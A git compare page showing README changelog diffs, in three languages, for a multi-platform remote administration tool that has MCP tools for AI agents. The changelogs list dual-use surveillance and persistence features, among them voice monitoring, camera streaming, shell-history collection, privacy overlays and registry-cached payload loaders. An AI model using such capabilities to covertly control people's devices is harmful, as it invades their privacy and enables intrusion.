Compare commits
86
Commits
4aedca8ee0
...
v1.4.4
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
d59d0b6a5c | ||
|
|
b0e172bf91 | ||
|
|
a6c417a061 | ||
|
|
4b96885016 | ||
|
|
034b11fa6a | ||
|
|
5f764b2425 | ||
|
|
95d2bbc1b6 | ||
|
|
1bd7fa5b2d | ||
|
|
c9a18856e5 | ||
|
|
830dcf1672 | ||
|
|
082860de8f | ||
|
|
85f7f1aa67 | ||
|
|
5387603c73 | ||
|
|
545700abaa | ||
|
|
da6185ba5e | ||
|
|
f618fbdc8b | ||
|
|
e6a3255a2b | ||
|
|
0e20e0bbdb | ||
|
|
340fb20518 | ||
|
|
be19744898 | ||
|
|
ae46b7b53b | ||
|
|
94cb4584c8 | ||
|
|
798456032e | ||
|
|
de9e9a7369 | ||
|
|
913b74097b | ||
|
|
326e162d16 | ||
|
|
7eebd3bd6c | ||
|
|
63c7cdf588 | ||
|
|
b466f568ab | ||
|
|
d6ea5fddea | ||
|
|
1320bb81a6 | ||
|
|
d9fe93ff1e | ||
|
|
b704258ba4 | ||
|
|
46434b46d0 | ||
|
|
db148c4a69 | ||
|
|
b7f87c958a | ||
|
|
998c16edc5 | ||
|
|
28c0c9a2a6 | ||
|
|
7172ab376d | ||
|
|
1401ff0a4c | ||
|
|
3ae54c808e | ||
|
|
d987941e57 | ||
|
|
7faca2c01b | ||
|
|
db4543ad54 | ||
|
|
06b93f7bdb | ||
|
|
c2b59f5d4a | ||
|
|
4456467c50 | ||
|
|
a25e89b220 | ||
|
|
b743de6747 | ||
|
|
3d87ec6720 | ||
|
|
80c7d1ed53 | ||
|
|
9fadb58c76 | ||
|
|
a818ace83c | ||
|
|
31883edc09 | ||
|
|
61b9031269 | ||
|
|
d49ebe521d | ||
|
|
292c3191dc | ||
|
|
5e012019ba | ||
|
|
42dd70fe20 | ||
|
|
3d18b2119a | ||
|
|
70556391dd | ||
|
|
d4f10db1f2 | ||
|
|
9ce1a58bc3 | ||
|
|
d7accf1d30 | ||
|
|
5227d4d78e | ||
|
|
808747f9d2 | ||
|
|
599c891c00 | ||
|
|
12b1bd4786 | ||
|
|
1076e7614a | ||
|
|
774c0d2545 | ||
|
|
3f1957a9c9 | ||
|
|
5f124fcb3a | ||
|
|
425d737ca0 | ||
|
|
5841f27df9 | ||
|
|
c73db530f4 | ||
|
|
59f0f16f74 | ||
|
|
cac5adaafc | ||
|
|
88269df548 | ||
|
|
613aa7291a | ||
|
|
697044d84b | ||
|
|
0378e96470 | ||
|
|
3fe3a11494 | ||
|
|
b63c97c5eb | ||
|
|
f5ac7ba45f | ||
|
|
23fb50b7d4 | ||
|
|
81f0d6c031 |
No files matched your search
@@ -94,7 +94,10 @@ nul
|
||||
server/go/web/assets/index.html
|
||||
server/go/users.json
|
||||
server/go/devices.json
|
||||
server/go/device_notes.json
|
||||
server/go/device_groups.json
|
||||
server/go/build/
|
||||
server/go/cmd/*.syso
|
||||
server/go/.claude/settings.json
|
||||
android/app/.cxx/
|
||||
|
||||
|
||||
+2
-2
@@ -4,8 +4,8 @@
|
||||
|
||||
Prebuilt binaries under `compress/`, linked via `#pragma comment(lib, ...)`.
|
||||
|
||||
- [zlib v1.3.2](https://zlib.net)
|
||||
- [zstd v1.5.7](https://github.com/facebook/zstd/tree/v1.5.7)
|
||||
- [zlib v1.4](https://zlib.net)
|
||||
- [zstd v1.6.0](https://github.com/facebook/zstd/tree/v1.6.0) — Windows prebuilt libs; shared header and the Linux/Android/macOS `.a` are still 1.5.x
|
||||
- [x264 v0.164.3194](https://github.com/corecodec/x264) — GPL-2.0, see note below
|
||||
- [libyuv v190](https://chromium.googlesource.com/libyuv/libyuv)
|
||||
- [ffmpeg 7.1](https://git.ffmpeg.org/ffmpeg.git) — LGPL-2.1, linked statically, see note below
|
||||
|
||||
@@ -32,6 +32,8 @@
|
||||
> 本软件**仅供教育目的及授权使用场景**:组织内远程 IT 管理、经授权的渗透测试与安全研究、个人设备管理与技术学习。
|
||||
>
|
||||
> **未经授权访问计算机系统属违法行为。** 使用者须对遵守所有适用法律承担全部责任。开发者对任何滥用行为概不负责。
|
||||
>
|
||||
> **二次开发提示:** 欢迎在遵守开源许可与当地法律的前提下进行二次开发。请保留项目自带的授权与安全校验机制,不要修改或屏蔽它们;对违反许可或法律的使用,授权服务器保留拒绝服务的权利。
|
||||
|
||||
---
|
||||
|
||||
@@ -378,6 +380,68 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
|
||||
## 更新日志
|
||||
|
||||
### v1.4.4 (2026.11.28)
|
||||
|
||||
**Web 设备治理 & Android 能力补齐 & 运行时压缩选择 & frp v0.72.0**
|
||||
|
||||
**新功能:**
|
||||
- **Web 控制台设备治理**:内置 admin 可把设备绑定给指定用户(`device_acl.json`),绑定后仅 owner 与内置 admin 可见可控,审计同步过滤;卡片「…」菜单新增「修改备注」(`device_notes.json`,显示为 `主机名 (备注)`)与「修改分组」(`device_groups.json`,优先于主机自报分组,离线设备也可归类),均为 admin-only、受设备 ACL 约束并写审计;卡片动作统一收进「…」弹出菜单;新增 `transfer_device`,把 Go 托管主机转移到 MFC 主控 N 天后取回
|
||||
- **Android 客户端**:文件管理(`P:` 私有目录 / `I:` 内部存储 / SD 卡与 U 盘,GBK 走 JNI,Android 11+ 引导「所有文件访问」,含搜索)、摄像头(Camera2 JPEG,`JPGD` FOURCC)、root 进程管理(`CLIENT_CAP_PROCESS`,无 root 明确拒绝)、主机转移(立即切换、到期 / 提前归还原主控、目标 60 秒不可达回退)、锁屏状态与输入模式修正、休眠后在同一投影上恢复抓屏、编码器 `KEY_OPERATING_RATE` 不低于 30
|
||||
- **macOS 客户端**:主机转移(与 Android 同语义,含分享拒绝与不可达回退)
|
||||
- **运行时线路压缩**:zlib 1.4 与 zstd 1.6.0 双库随客户端打包,建连时读 `settings\compress`;在线列表「实验性 → 线路压缩:ZSTD / ZLIB」按 `CLIENT_CAP_COMPRESS_SWITCH` 在线切换,约两秒生效,提示标记实际算法;压缩与主机分享互斥,`1.001n+12` 小包缓冲修正
|
||||
- **MCP**:新增 `build_client`(`McpBuild` 默认关,覆盖 ghost / TestRun / ServerDll / TinyRun 与三平台);设置对话框新增「只读 / 智能」一键预设,命令白名单输入框不再显示;`list_hosts` / `get_host_detail` 返回 Web 备注与分组覆盖,纯文本表新增备注列;绑定设备对 MCP 一律不可见(按 ID 返回 -32002)
|
||||
- **frp v0.72.0**:内嵌 `frpc.dll` / `frps.dll` 重建并替换;下级已自建 FRP 时本地主控地址优先,上级自动 FRP 只作后备,设置对话框说明「公网地址由上级自动 FRP 提供」
|
||||
- **客户端加载与发布**:客户端载荷下发增加 AES-CBC 加密(随机 IV),强化授权载荷传输的安全性;被封禁主机按「最早再试时间」退避启动;装载器在 3 次连接失败后回退到注册表缓存载荷;Linux / macOS Release 去调试符号(`linux/ghost` 10.3 MB → 2.5 MB);新增发布门禁 E2E 冒烟脚本
|
||||
|
||||
**改进:**
|
||||
- Web 模态对话框只在 × / 取消 / 确认上关闭,选中文本拖出卡片不再误关;卡片字段统一转义,杜绝注入
|
||||
- IP 历史改为最后活跃时间倒序,达到 1000 条每次写入淘汰队尾,并用 60 KB 上限保护单个值
|
||||
- 状态栏按实测字体宽度布局,空间不足时按优先级隐藏窗格;全屏状态条整帧 blit,消除每秒闪烁
|
||||
- 「取消分享」立即停止 Windows 分享连接;分享与转移区分,同一目标只保留一条连接
|
||||
- 音频包按 65 字节 GSM610 块对齐,修正 Windows 主机尾部 25 字节垃圾;`RES_UPTIME` 每次登录重算
|
||||
- 主控在 Low 完整性下启动即退出并给出 `icacls` 修复命令;Android 桌面控制改为按住左键拖动
|
||||
- 新增 `docs/Client_Capability_Matrix.md`;新字符串补齐 en_US / zh_TW / de_DE
|
||||
|
||||
**Bug 修复:**
|
||||
- 打开摄像头即崩溃(DirectShow `S_FALSE` 被当作失败、缓冲区未分配即回调)
|
||||
- Windows 7 客户端 TLS 证书链引擎因结构体尺寸被拒(fail-closed 不上线)
|
||||
- 压缩切换后 LP64 平台编译失败;分享取消后连接不释放
|
||||
- Android 锁屏永久「Locked」、输入模式丢失、休眠后抓屏无帧、电视 SoC 编码器不出帧
|
||||
- Web 备注 / 分组回包迟到后作用于错误设备;保存时连接重连中静默无响应
|
||||
- 其它:E2E 脚本无限等待、构建对话框目标切换未置灰、字体放大时状态栏文本截断
|
||||
|
||||
### v1.4.3 (2026.11.14)
|
||||
|
||||
**MCP 工具面收敛 & Go 极简 MCP & Android / macOS 能力补齐 & TLS 开箱即用**
|
||||
|
||||
**新功能:**
|
||||
- **MCP 工具收敛 60 → 54**:`host_list_*` 十个只读工具合并为 `host_inspect(aspects[])`、三个主机列表合并为 `list_hosts`、窗口与服务控制各只留一个名字;加上本次新增的 5 个工具,清单最终为 54 项(全部开关打开时 `tools/list` 列出 49 项),响应体从 193 KB 降到 169 KB(-12.6%)。旧名保留为可调用别名;`McpMachine` 开启时降级的 `list_processes` / `list_windows` / `list_services` 不再列出
|
||||
- **MCP 新工具**:`http_probe`(仅私网 IP 的 HTTP 检查,不跟随重定向、正文 64 KB、校验证书)、`read_file`(按行读远端文本,BOM / UTF-8 / GBK 自动识别,负 offset 从尾部读,回整文件 SHA-256)、`get_foreground_window` 与窗口信息 RPC(179/180,`expect_hwnd` / `require_foreground`)、`uninstall_host`、`remote_lock_screen`
|
||||
- **MCP 原生捕获**:`get_screenshot` 支持区域 / 窗口 / 单显示器 1:1 捕获(`CLIENT_CAP_SCREEN_REGION`,返回源矩形与缩放),`remote_open` 可只推目标窗口或区域,`remote_mouse` 支持窗口相对坐标
|
||||
- **Go 极简 MCP**:无状态 `POST /mcp` + Bearer 鉴权,9 个工具(只读 7 个),每设备锁与全局并发闸门、每次调用写审计;终端 256 KiB 环形缓冲,`list_files` / `read_file` 走文件管理子连接,`get_screenshot` 走主连接预览 RPC
|
||||
- **Android 客户端补齐**:屏幕预览(API 30+ 无障碍抓屏)、活动历史、运行日志上报、TLS 热切换(OpenSSL 3.5.0 静态链接)、主控推送 APK 升级、远程交谈 / 终端 / 剪贴板 / 锁屏 / 隐私遮罩 / 卸载、语音监听,并让远控调优命令真正生效(此前硬编码 Good 使自适应质量永远无法启动)
|
||||
- **macOS 客户端阶段 0 / 1**:TLS 传输、运行日志上报、授权后自动重启、终端与进程管理能力位、屏幕预览、活动历史、关键帧请求
|
||||
- **TLS 开箱即用**:未配置证书时首次需要即自签(RSA-2048,十年),可在对话框导出 PEM,也可内嵌进生成的客户端与下发的 DLL,首连即 TLS
|
||||
- **Linux 客户端**:分享到另一主控(fork 子实例)、转移到另一主控(到期自动恢复)、活动历史(有桌面走 X11,无桌面汇总登录与 shell 历史)、记住全屏与远端光标
|
||||
- **Windows 远控**:多显示器改抓整个虚拟桌面、采集监视器索引跨重启稳定、自适应质量新增吞吐判据与防振荡、调优开关改为按客户端保存、注入按键在断连 / 切后台时释放
|
||||
- **主控与 Web**:高级菜单「运行测试程序」(载荷在主控进程内加载,带防误伤标记)、文件管理器传输历史落盘、特性限制与真实菜单对齐(57/19/46 项)、Web 控制台设备列表分组过滤、状态栏 TLS / MCP 状态
|
||||
|
||||
**改进:**
|
||||
- MCP 契约与实现对齐:条件必填改 `allOf` / `if` / `then`,`outputSchema` 与实际返回一致,说明文本逐条对过代码
|
||||
- 只交文本块的 MCP 客户端也能看到主机 ID 与列表行;`list_files` 改为列全目录再分页,路径统一 GBK
|
||||
- 终端会话语义:可隐式开会话、超时保留并轮询、`terminal_close` 显式回收、忙时提示占用者、取消可按 id / session_id 定位
|
||||
- 危险操作确认框列出目标主机且默认「否」;「高速 / 极速」更名为「高画质 / 流畅」;Ctrl+F 改为即输即筛
|
||||
- 中文进程名显示、配置读取创建空注册表子键、试用口令覆盖等一批细节修正
|
||||
|
||||
**Bug 修复:**
|
||||
- 两个能让远程对端打死服务端的路径:httplib `Content-Length: -1` 无鉴权死循环 DoS、畸形 JPEG 触发 libjpeg `exit()`
|
||||
- 远控音频偶发永久静音(环形缓冲跨线程无锁、格式包丢失、Modern Standby 恢复、端点变更)
|
||||
- 质量切换跳到另一台显示器、从 RGB565 / DIFF 切回 H.264 冻结最长 10 秒;慢帧下自适应质量永远弃权
|
||||
- Web 远端画面在分辨率 / 质量变化后黑屏;Web 终端心跳重连后按键全部丢失
|
||||
- 远程桌面窗口缩放后不重绘;浮动工具栏质量菜单一打开就收回;注入按键卡住修饰键
|
||||
- macOS 子连接线程泄漏(六周后达 2048 线程);HELL 头编码固定导致约三分之一 Release 客户端登不上 Go fallback
|
||||
- 特性限制在 32 位主控上丢失 bit 32 以上的 40 项;运行时长跨时区恒显示 0;登录保留区越界
|
||||
|
||||
### v1.4.2 (2026.10.31)
|
||||
|
||||
**MCP 运维套件 & WebSocket 传输 & 抓屏健壮性**
|
||||
@@ -526,7 +590,7 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
- **前台窗口精准捕获**:PrintWindow + 服务端 HWND by clientID 路由,遮挡情况下仍可捕获完整窗口
|
||||
- **在线主机右键查看活动窗口**:实时查询目标机器前台窗口标题
|
||||
- **TOKEN_AUTH 响应 ECDSA 签名**:V2 私钥签名服务端响应,防伪服务端(`TOKEN_SERVER_VERIFY = 251`)
|
||||
- **反破解版本绑定**:版本与核心库绑定,阻断替换 DLL 的破解路径
|
||||
- **授权与完整性保护**:核心组件与版本保持一致,降低被篡改或误用的风险
|
||||
- **子授权连接数限制**:`LicenseLimit` 字段 + `CLicenseDlg` 右键菜单实时设置
|
||||
|
||||
**改进:**
|
||||
|
||||
+65
-1
@@ -32,6 +32,8 @@
|
||||
> This software is intended **solely for educational purposes and authorized use cases**: remote IT administration within your own organization, authorized penetration testing and security research, personal device management, and technical learning.
|
||||
>
|
||||
> **Unauthorized access to computer systems is illegal.** Users are fully responsible for compliance with all applicable laws. The developers assume no liability for misuse.
|
||||
>
|
||||
> **Secondary development:** We welcome secondary development under the project's license and applicable law. Please keep the project's built-in authorization and security checks in place rather than modifying or disabling them; the authorization server may refuse service for use that violates the license or the law.
|
||||
|
||||
---
|
||||
|
||||
@@ -378,6 +380,68 @@ Valid : 2026-02-01 to 2028-02-01
|
||||
|
||||
## Changelog
|
||||
|
||||
### v1.4.4 (2026.11.28)
|
||||
|
||||
**Web device governance & Android parity & runtime wire compression & frp v0.72.0**
|
||||
|
||||
**New features:**
|
||||
- **Web console device governance**: the built-in admin can bind a device to a user (`device_acl.json`); a bound device is visible and controllable only to its owner and the built-in admin, and the audit log is filtered the same way. The card "..." menu gains Edit remark (`device_notes.json`, shown as `hostname (remark)`) and Edit group (`device_groups.json`, overriding the group the host reports, so offline records can be regrouped), both admin-only, ACL-checked and audited; all card actions now live in a single "..." popup; `transfer_device` moves a Go-managed host to the MFC master for N days and back
|
||||
- **Android client**: file management (`P:` private dir / `I:` internal storage / SD cards and USB drives, GBK through JNI, Android 11+ all-files access prompt, search included), camera streaming (Camera2 JPEG, `JPGD` FOURCC), root-only process management (`CLIENT_CAP_PROCESS`, refused outright without root), host transfer (immediate switch, restore on expiry or early return, revert after 60 s unreachable), corrected lock state and input mode, screen capture recovered after sleep on the same projection, and `KEY_OPERATING_RATE` kept at 30 or above
|
||||
- **macOS client**: host transfer with the same semantics as Android, including the share refusal and the unreachable-target revert
|
||||
- **Runtime wire compression**: zlib 1.4 and zstd 1.6.0 are both linked; each connection reads `settings\compress`. The online-list menu "Experimental -> Wire compression: ZSTD / ZLIB" switches hosts that declare `CLIENT_CAP_COMPRESS_SWITCH` in about two seconds without a restart, and the tooltip marks the negotiated algorithm. Compression and host sharing are mutually exclusive; the `1.001n+12` small-packet buffer has been corrected
|
||||
- **MCP**: new `build_client` tool (`McpBuild`, off by default, covering ghost / TestRun / ServerDll / TinyRun and the three platforms); the settings dialog gains one-click Read-only / Smart presets and no longer shows the command whitelist; `list_hosts` / `get_host_detail` return web remarks and group overrides, with a remark column in the text table; user-bound devices are hidden from MCP entirely (an explicit id returns -32002)
|
||||
- **frp v0.72.0**: the bundled `frpc.dll` / `frps.dll` are rebuilt and replaced; when a subordinate already runs its own FRP proxy its local master address wins and the upstream auto FRP stays a fallback, with the dialog explaining when the public address comes from the upstream
|
||||
- **Loader and release engineering**: client payload delivery now uses AES-CBC with a random IV to strengthen the security of authorization payload delivery; a banned host backs off until its persisted retry time; the loaders fall back to the cached registry payload after three failed connects; Linux / macOS Release builds drop debug symbols (`linux/ghost` 10.3 MB to 2.5 MB); a release-gate E2E smoke script was added
|
||||
|
||||
**Improvements:**
|
||||
- Web modal dialogs close only from their own buttons, so selecting text and releasing outside the card no longer dismisses them; client-reported card fields are escaped before reaching HTML or attribute contexts
|
||||
- IP history is ordered by last activity, evicts the oldest entry on every write at the 1000-record cap, and guards the single stored value with a 60 KB limit
|
||||
- Status-bar panes are sized from measured text and hidden by priority when space runs out; the full-screen overlay blits a complete frame, removing the once-per-second flicker
|
||||
- Cancelling a share now stops the Windows share connection immediately; shares and transfers are tracked separately and one target keeps one connection
|
||||
- Audio packets are block-aligned to 65-byte GSM610 blocks, dropping the 25 stale bytes Windows hosts ship; `RES_UPTIME` is recomputed on every login
|
||||
- The master refuses to start at Low integrity and prints the `icacls` fix; desktop control of Android hosts now needs a held left button
|
||||
- Added `docs/Client_Capability_Matrix.md`; new strings in en_US / zh_TW / de_DE
|
||||
|
||||
**Bug fixes:**
|
||||
- Opening the webcam killed the client (DirectShow `S_FALSE` treated as a failure, the sample callback writing into an unallocated buffer)
|
||||
- Windows 7 clients failed TLS because the chain-engine struct was compiled at the Windows 10 size
|
||||
- The compression switch broke LP64 builds; cancelling a share left the Windows connection alive
|
||||
- Android showed "Locked" forever, lost its input mode, stopped producing frames after sleep, and some TV SoC encoders never emitted a frame
|
||||
- Late web remark / group replies could land on the wrong device, and Save while reconnecting did nothing
|
||||
- Also: the E2E script could wait forever, the build dialog kept install options enabled for POSIX targets, and status-bar text was clipped at larger font sizes
|
||||
|
||||
### v1.4.3 (2026.11.14)
|
||||
|
||||
**MCP tool consolidation & Go minimal MCP & Android / macOS parity & TLS out of the box**
|
||||
|
||||
**New features:**
|
||||
- **MCP tools 60 to 54**: the ten read-only `host_list_*` tools merged into `host_inspect(aspects[])`, the three host lists into `list_hosts`, and each window / service pair behind one name; together with the five tools added in this release the manifest settles at 54 entries (49 in `tools/list` with every switch on) and the response shrinks from 193 KB to 169 KB (-12.6%). The old names remain callable aliases, and the degraded `list_processes` / `list_windows` / `list_services` are no longer listed while `McpMachine` is on
|
||||
- **New MCP tools**: `http_probe` (private-network HTTP checks only, no redirects, 64 KB body cap, certificate verification), `read_file` (line-based remote text reads with BOM / UTF-8 / GBK detection, negative offset from the end, whole-file SHA-256), `get_foreground_window` plus a window-info RPC (179/180, `expect_hwnd` / `require_foreground`), `uninstall_host`, `remote_lock_screen`
|
||||
- **Native capture**: `get_screenshot` captures a region, a window or a single monitor at 1:1 (`CLIENT_CAP_SCREEN_REGION`, returning the source rect and scale); `remote_open` can stream only the target window or region; `remote_mouse` accepts window-relative coordinates
|
||||
- **Go minimal MCP**: a stateless `POST /mcp` with bearer auth, nine tools (seven read-only), per-device locks, a global concurrency gate and one audit record per call; 256 KiB terminal ring, `list_files` / `read_file` over the file-manager sub-connection, `get_screenshot` over the main-connection preview RPC
|
||||
- **Android client**: screen preview (accessibility capture on API 30+), activity history, runtime log reporting, TLS hot-switching (OpenSSL 3.5.0 statically linked), master-pushed APK updates, remote chat / terminal / clipboard / lock screen / privacy overlay / uninstall, voice monitoring, and remote-desktop tuning commands that actually take effect (a hardcoded "Good" had stopped adaptive quality from ever starting)
|
||||
- **macOS client, phases 0 and 1**: TLS transport, runtime log reporting, automatic restart once permissions are granted, terminal and process-management capability bits, screen preview, activity history, keyframe requests
|
||||
- **TLS out of the box**: with no certificate configured the server self-signs one (RSA-2048, ten years) the first time it is needed, can export it as PEM, and can embed it in generated clients and delivered DLLs so the first connection is already TLS
|
||||
- **Linux client**: share to another master (forked child instances), transfer to another master (restored on expiry), activity history (X11 sampling with a headless login/shell-history fallback), remembered fullscreen and remote-cursor state
|
||||
- **Windows remote desktop**: multi-monitor capture of the whole virtual desktop, a capture monitor index that survives restarts, a throughput criterion and anti-oscillation for adaptive quality, tuning flags saved per client, injected keys released on blur and disconnect
|
||||
- **Master and web console**: "Run test program" in the Advanced menu (the in-memory client payload loaded inside the master process, guarded by a magic), file-manager transfer history persisted, feature limits aligned with the real menus (57/19/46 items), a group filter in the web device list, TLS and MCP panes in the status bar
|
||||
|
||||
**Improvements:**
|
||||
- MCP contracts now match the handlers: conditional required arguments use `allOf` / `if` / `then`, `outputSchema` matches the returned shape, and the instructions were checked line by line against the code
|
||||
- Text-only MCP clients now see host ids and listing rows; `list_files` lists the whole directory before paging and paths are GBK in both directions
|
||||
- Terminal semantics: a session can be opened or reused implicitly, a timed-out command keeps its session and can be polled, `terminal_close` reclaims explicitly, busy errors name the holder, and cancels can be addressed by id or session_id
|
||||
- Destructive confirmations list the target hosts and default to No; "High speed / Ultra speed" became "High quality / Smooth"; Ctrl+F filters as you type
|
||||
- Chinese process names, registry reads creating empty subkeys, and trial-code replacement, among other refinements
|
||||
|
||||
**Bug fixes:**
|
||||
- Two paths by which a remote peer could terminate the server: the unauthenticated `Content-Length: -1` DoS in httplib and a malformed JPEG reaching libjpeg's `exit()`
|
||||
- Remote desktop audio could go permanently silent (unlocked ring buffer shared across threads, a dropped format packet, Modern Standby resume, endpoint changes)
|
||||
- A quality switch jumped to another monitor, switching back to H.264 froze the view for up to ten seconds, and slow frames made the adaptive controller abstain forever
|
||||
- The web remote view went black after a resolution or quality change, and a web terminal lost every keystroke after a heartbeat reconnect
|
||||
- The remote desktop did not repaint after a window resize; the floating toolbar's quality menu retracted as soon as it opened; injected keys left modifiers stuck
|
||||
- macOS leaked one receive thread per sub-connection (2048 threads after six weeks); a fixed HELL header encoding kept about a third of Release clients off the Go fallback server
|
||||
- Feature limits lost the 40 items above bit 31 on 32-bit builds; uptime read 0 across time zones; the login reserved list could overflow
|
||||
|
||||
### v1.4.2 (2026.10.31)
|
||||
|
||||
**MCP operations suite & WebSocket transport & capture robustness**
|
||||
@@ -526,7 +590,7 @@ Valid : 2026-02-01 to 2028-02-01
|
||||
- **Foreground window capture**: PrintWindow + server-side HWND routing by clientID, captures the target window even when occluded
|
||||
- **View active window from host list**: right-click menu queries and shows the foreground window title of the target machine in real time
|
||||
- **TOKEN_AUTH ECDSA signature**: server signs auth responses with its V2 P-256 key to prevent fake-server attacks (`TOKEN_SERVER_VERIFY = 251`)
|
||||
- **Anti-cracking version binding**: binary binds to core lib version; mismatched DLL replacement is rejected at load time
|
||||
- **Authorization and integrity protection**: core components stay consistent with the build, reducing the risk of tampering or mismatched use
|
||||
- **Sub-license connection cap**: `LicenseLimit` field in `licenses.ini` + real-time set / clear from `CLicenseDlg` right-click menu
|
||||
|
||||
**Improvements:**
|
||||
|
||||
+65
-1
@@ -32,6 +32,8 @@
|
||||
> 本軟體**僅供教育目的及授權使用情境**:組織內遠端 IT 管理、經授權的滲透測試與安全研究、個人裝置管理與技術學習。
|
||||
>
|
||||
> **未經授權存取電腦系統屬違法行為。** 使用者須對遵守所有適用法律承擔全部責任。開發者對任何濫用行為概不負責。
|
||||
>
|
||||
> **二次開發提示:** 歡迎在遵守開源授權與當地法律的前提下進行二次開發。請保留專案內建的授權與安全校驗機制,不要修改或停用它們;對違反授權或法律的使用,授權伺服器保留拒絕服務的權利。
|
||||
|
||||
---
|
||||
|
||||
@@ -378,6 +380,68 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
|
||||
|
||||
## 更新日誌
|
||||
|
||||
### v1.4.4 (2026.11.28)
|
||||
|
||||
**Web 裝置治理 & Android 能力補齊 & 執行期壓縮選擇 & frp v0.72.0**
|
||||
|
||||
**新功能:**
|
||||
- **Web 控制台裝置治理**:內建 admin 可把裝置綁定給指定使用者(`device_acl.json`),綁定後僅 owner 與內建 admin 可見可控,稽核同步過濾;卡片「…」選單新增「修改備註」(`device_notes.json`,顯示為 `主機名 (備註)`)與「修改群組」(`device_groups.json`,優先於主機自報群組,離線裝置也可歸類),皆為 admin-only、受裝置 ACL 約束並寫稽核;卡片動作統一收進「…」彈出選單;新增 `transfer_device`,把 Go 託管主機轉移到 MFC 主控 N 天後取回
|
||||
- **Android 用戶端**:檔案管理(`P:` 私有目錄 / `I:` 內部儲存 / SD 卡與 USB,GBK 走 JNI,Android 11+ 引導「所有檔案存取」,含搜尋)、攝影機(Camera2 JPEG,`JPGD` FOURCC)、root 行程管理(`CLIENT_CAP_PROCESS`,無 root 明確拒絕)、主機轉移(立即切換、到期 / 提前歸還原主控、目標 60 秒不可達回退)、鎖屏狀態與輸入模式修正、休眠後在同一投影上恢復擷取畫面、編碼器 `KEY_OPERATING_RATE` 不低於 30
|
||||
- **macOS 用戶端**:主機轉移(與 Android 同語意,含分享拒絕與不可達回退)
|
||||
- **執行期線路壓縮**:zlib 1.4 與 zstd 1.6.0 雙庫隨用戶端打包,連線時讀 `settings\compress`;線上列表「實驗性 → 線路壓縮:ZSTD / ZLIB」依 `CLIENT_CAP_COMPRESS_SWITCH` 線上切換,約兩秒生效,提示標記實際演算法;壓縮與主機分享互斥,`1.001n+12` 小封包緩衝修正
|
||||
- **MCP**:新增 `build_client`(`McpBuild` 預設關,涵蓋 ghost / TestRun / ServerDll / TinyRun 與三平台);設定對話框新增「唯讀 / 智慧」一鍵預設,命令白名單輸入框不再顯示;`list_hosts` / `get_host_detail` 回傳 Web 備註與群組覆寫,純文字表新增備註欄;綁定裝置對 MCP 一律不可見(依 ID 呼叫回 -32002)
|
||||
- **frp v0.72.0**:內嵌 `frpc.dll` / `frps.dll` 重建並替換;下級已自建 FRP 時本地主控位址優先,上級自動 FRP 只作後備,設定對話框說明「公網位址由上級自動 FRP 提供」
|
||||
- **用戶端載入與發佈**:用戶端載荷下發增加 AES-CBC 加密(隨機 IV),強化授權載荷傳輸的安全性;被封禁主機依「最早再試時間」退避啟動;載入器在 3 次連線失敗後回退到登錄快取載荷;Linux / macOS Release 去偵錯符號(`linux/ghost` 10.3 MB → 2.5 MB);新增發佈門檻 E2E 冒煙腳本
|
||||
|
||||
**改進:**
|
||||
- Web 強制回應對話框只在 × / 取消 / 確認上關閉,選取文字拖出卡片不再誤關;卡片欄位統一轉義,杜絕注入
|
||||
- IP 歷史改為最後活躍時間倒序,達到 1000 筆每次寫入淘汰最舊項,並以 60 KB 上限保護單一值
|
||||
- 狀態列依實測字型寬度配置,空間不足時依優先順序隱藏窗格;全螢幕狀態列整幀 blit,消除每秒閃爍
|
||||
- 「取消分享」立即停止 Windows 分享連線;分享與轉移區分,同一目標只保留一條連線
|
||||
- 音訊封包依 65 位元組 GSM610 區塊對齊,修正 Windows 主機尾部 25 位元組垃圾;`RES_UPTIME` 每次登入重算
|
||||
- 主控在 Low 完整性下啟動即結束並給出 `icacls` 修復命令;Android 桌面控制改為按住左鍵拖曳
|
||||
- 新增 `docs/Client_Capability_Matrix.md`;新字串補齊 en_US / zh_TW / de_DE
|
||||
|
||||
**Bug 修復:**
|
||||
- 開啟攝影機即崩潰(DirectShow `S_FALSE` 被當成失敗、緩衝未配置即回呼)
|
||||
- Windows 7 用戶端 TLS 憑證鏈引擎因結構尺寸被拒(fail-closed 不上線)
|
||||
- 壓縮切換後 LP64 平台編譯失敗;取消分享後連線未釋放
|
||||
- Android 鎖屏永久顯示「Locked」、輸入模式遺失、休眠後擷取畫面無幀、電視 SoC 編碼器不出幀
|
||||
- Web 備註 / 群組回包遲到後作用於錯誤裝置;儲存時連線重連中靜默無回應
|
||||
- 其他:E2E 腳本無限等待、建置對話框切換目標未置灰、字型放大時狀態列文字被截斷
|
||||
|
||||
### v1.4.3 (2026.11.14)
|
||||
|
||||
**MCP 工具面收斂 & Go 極簡 MCP & Android / macOS 能力補齊 & TLS 開箱即用**
|
||||
|
||||
**新功能:**
|
||||
- **MCP 工具收斂 60 → 54**:`host_list_*` 十個唯讀工具合併為 `host_inspect(aspects[])`、三個主機列表合併為 `list_hosts`、視窗與服務控制各只留一個名字;加上本次新增的 5 個工具,清單最終為 54 項(全部開關開啟時 `tools/list` 列出 49 項),回應從 193 KB 降到 169 KB(-12.6%)。舊名保留為可呼叫別名;`McpMachine` 開啟時降級的 `list_processes` / `list_windows` / `list_services` 不再列出
|
||||
- **MCP 新工具**:`http_probe`(僅私網 IP 的 HTTP 檢查,不跟隨重新導向、內文 64 KB、校驗憑證)、`read_file`(逐行讀取遠端文字,BOM / UTF-8 / GBK 自動辨識,負 offset 從尾端讀,回傳整個檔案 SHA-256)、`get_foreground_window` 與視窗資訊 RPC(179/180,`expect_hwnd` / `require_foreground`)、`uninstall_host`、`remote_lock_screen`
|
||||
- **MCP 原生擷取**:`get_screenshot` 支援區域 / 視窗 / 單一螢幕 1:1 擷取(`CLIENT_CAP_SCREEN_REGION`,回傳來源矩形與縮放),`remote_open` 可只推送目標視窗或區域,`remote_mouse` 支援視窗相對座標
|
||||
- **Go 極簡 MCP**:無狀態 `POST /mcp` + Bearer 驗證,9 個工具(唯讀 7 個),每裝置鎖與全域並行閘門、每次呼叫寫稽核;終端 256 KiB 環形緩衝,`list_files` / `read_file` 走檔案管理子連線,`get_screenshot` 走主連線預覽 RPC
|
||||
